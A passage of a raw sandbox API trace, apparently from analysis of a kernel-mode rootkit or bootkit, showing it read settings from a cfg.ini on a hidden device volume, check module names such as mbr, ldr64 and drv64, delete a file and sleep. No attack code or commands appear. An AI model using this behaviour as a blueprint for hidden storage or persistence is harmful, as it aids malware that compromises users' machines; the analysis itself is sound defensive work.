returned 0x103 [0119.291] KeWaitForMutexObject () returned 0x0 [0119.291] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.291] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.291] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.291] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.291] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.291] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbbb0 [0119.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.291] KeLeaveCriticalRegion () [0119.291] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.291] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.291] KeEnterCriticalRegion () [0119.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.291] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.291] KeLeaveCriticalRegion () [0119.291] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.291] KeEnterCriticalRegion () [0119.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.291] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.291] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.291] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.291] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.291] IdePortDispatch () returned 0x103 [0119.291] KeWaitForMutexObject () returned 0x0 [0119.292] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.292] KeLeaveCriticalRegion () [0119.292] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.292] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.292] KeEnterCriticalRegion () [0119.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.292] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ccb000 [0119.292] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.292] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.292] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.292] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.292] IdePortDispatch () returned 0x103 [0119.292] KeWaitForMutexObject () returned 0x0 [0119.292] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.292] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.292] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.292] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.292] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.292] IdePortDispatch () returned 0x103 [0119.292] KeWaitForMutexObject () returned 0x0 [0119.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.292] KeLeaveCriticalRegion () [0119.292] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.293] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.293] KeEnterCriticalRegion () [0119.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.293] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.293] KeLeaveCriticalRegion () [0119.293] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.293] KeEnterCriticalRegion () [0119.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.293] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.293] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb500, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.293] KeLeaveCriticalRegion () [0119.293] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.293] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.293] KeEnterCriticalRegion () [0119.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.293] ExFreePoolWithTag (P=0xfffffa8003bdbbb0, Tag=0x0) [0119.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.293] KeLeaveCriticalRegion () [0119.293] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.293] ReleaseMutex (hMutex=0xf0) returned 1 [0119.293] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.293] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.293] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.293] KeEnterCriticalRegion () [0119.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.294] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.294] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.294] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.294] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.294] IdePortDispatch () returned 0x103 [0119.294] KeWaitForMutexObject () returned 0x0 [0119.294] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.294] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.294] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.294] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.294] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.294] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcb0b0 [0119.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.294] KeLeaveCriticalRegion () [0119.294] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.294] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.294] KeEnterCriticalRegion () [0119.294] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.294] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.294] KeLeaveCriticalRegion () [0119.294] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.294] KeEnterCriticalRegion () [0119.294] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.294] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.294] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.294] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.294] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.294] IdePortDispatch () returned 0x103 [0119.294] KeWaitForMutexObject () returned 0x0 [0119.296] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.296] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.296] KeLeaveCriticalRegion () [0119.296] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.296] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.296] KeEnterCriticalRegion () [0119.296] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.296] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ccc000 [0119.296] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.296] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.296] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.296] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.296] IdePortDispatch () returned 0x103 [0119.296] KeWaitForMutexObject () returned 0x0 [0119.296] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.296] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.296] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.296] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.296] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.296] IdePortDispatch () returned 0x103 [0119.296] KeWaitForMutexObject () returned 0x0 [0119.296] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.296] KeLeaveCriticalRegion () [0119.296] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.297] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.297] KeEnterCriticalRegion () [0119.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.297] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.297] KeLeaveCriticalRegion () [0119.297] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.297] KeEnterCriticalRegion () [0119.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.297] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.297] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.297] KeLeaveCriticalRegion () [0119.297] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.297] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.297] KeEnterCriticalRegion () [0119.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.297] ExFreePoolWithTag (P=0xfffffa8003bcb0b0, Tag=0x0) [0119.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.297] KeLeaveCriticalRegion () [0119.297] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.297] ReleaseMutex (hMutex=0xf0) returned 1 [0119.297] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.297] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.297] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.297] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.297] KeEnterCriticalRegion () [0119.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.297] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.297] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.297] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.297] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.298] IdePortDispatch () returned 0x103 [0119.298] KeWaitForMutexObject () returned 0x0 [0119.298] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.298] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.298] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.298] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.298] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.298] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.298] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.298] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.298] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.298] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.298] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.298] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.298] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.298] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.298] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.298] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.298] KeLeaveCriticalRegion () [0119.298] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.298] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.298] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.298] KeEnterCriticalRegion () [0119.298] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.298] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.298] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.298] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.298] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.298] IdePortDispatch () returned 0x103 [0119.298] KeWaitForMutexObject () returned 0x0 [0119.298] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.298] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.299] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.299] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.299] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.299] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.299] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.299] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.299] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.299] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.299] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.299] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.299] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.299] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.299] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.299] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.299] KeLeaveCriticalRegion () [0119.299] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.299] ReleaseMutex (hMutex=0x100) returned 1 [0119.299] Sleep (dwMilliseconds=0x2bf20) [0119.305] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a4f2bd0, dwHighDateTime=0x1d24fa4)) [0119.305] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.305] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.305] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.305] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.305] KeEnterCriticalRegion () [0119.305] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.305] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.305] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.305] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.305] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.305] IdePortDispatch () returned 0x103 [0119.305] KeWaitForMutexObject () returned 0x0 [0119.305] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.305] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.305] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.306] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.306] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.306] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcbd00 [0119.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.306] KeLeaveCriticalRegion () [0119.306] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.306] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.306] KeEnterCriticalRegion () [0119.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.306] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.306] KeLeaveCriticalRegion () [0119.306] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.306] KeEnterCriticalRegion () [0119.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.306] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.306] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.306] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.306] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.306] IdePortDispatch () returned 0x103 [0119.306] KeWaitForMutexObject () returned 0x0 [0119.306] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.306] KeLeaveCriticalRegion () [0119.306] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.306] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.306] KeEnterCriticalRegion () [0119.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.306] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ccf000 [0119.306] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.306] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.306] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.306] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.306] IdePortDispatch () returned 0x103 [0119.307] KeWaitForMutexObject () returned 0x0 [0119.307] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.307] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.307] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.307] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.307] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.307] IdePortDispatch () returned 0x103 [0119.307] KeWaitForMutexObject () returned 0x0 [0119.307] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.307] KeLeaveCriticalRegion 